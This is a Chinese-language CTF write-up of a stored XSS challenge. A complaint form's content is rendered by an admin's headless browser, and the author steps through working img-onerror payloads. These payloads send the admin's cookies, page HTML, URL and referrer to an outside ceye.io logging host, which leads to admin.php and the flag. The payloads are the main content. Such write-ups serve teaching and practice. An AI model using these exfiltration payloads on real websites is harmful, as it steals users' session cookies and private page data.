前言
回忆一下简单XSS。
注入JavaScript
先看到题目的界面:
存在一个吐槽页面和一个登录页面,推测解法为吐槽界面提交HTML代码,由后端携带管理员身份信息的headless浏览器访问造成存储型XSS,然后外带管理员cookie,最后伪装成管理员身份并访问网站找到敏感信息。
首先尝试直接插入script标签:
<script>location.href=`http://xxxxxx.ceye.io`</script>
发现没有回显,访问网站给出的界面后发现script标签里的代码没有正常执行,要换种方法插入JS。
尝试使用img标签事件插入JavaScript代码:
<img src=x onerror='location.href=`http://xxxxxx.ceye.io`'>
能够正常看到回显,JavaScript插入成功:
cookie
首先尝试把cookie打出来,简单拼接一下跳转URL:
<img src=x onerror='location.href=`http://xxxxxx.ceye.io/?`+document.cookie'>
得到管理员cookie:
直接在chrome控制台中修改cookie:
发现没有什么不同,需要继续深入。
HTML页面
怀疑管理员cookie不是管理员身份的标识,管理员身份可能要求内网访问,思路转向通过XSS实现CSRF,首先把管理员所看到的页面源码打出来:
<img src=x onerror='location.href=`http://hdftk4.ceye.io/?`+escape(escape(document.documentElement.outerHTML)).slice(0,1000)'>
看到编码后的页面源代码:
因为长度和字符的关系,需要进行长度截断和双重URL编码,将页面源代码全部打出来后发现页面跟普通用户一致,需要再次转换思路。
源地址
由于ceye看不到请求的HTTP HEADERS,所以需要特别打一次:
<img src=x onerror='location.href=`http://hdftk4.ceye.io/?`+escape(escape(location.href)).slice(0,1000)'>
但是发现URL只是一个普通的用于查看提交数据的页面:
猜测其之前存在一个总览提交数据的页面:
<img src=x onerror='location.href=`http://hdftk4.ceye.io/?`+escape(escape(document.referrer)).slice(0,1000)'>
看到admin.php:
访问,得到flag: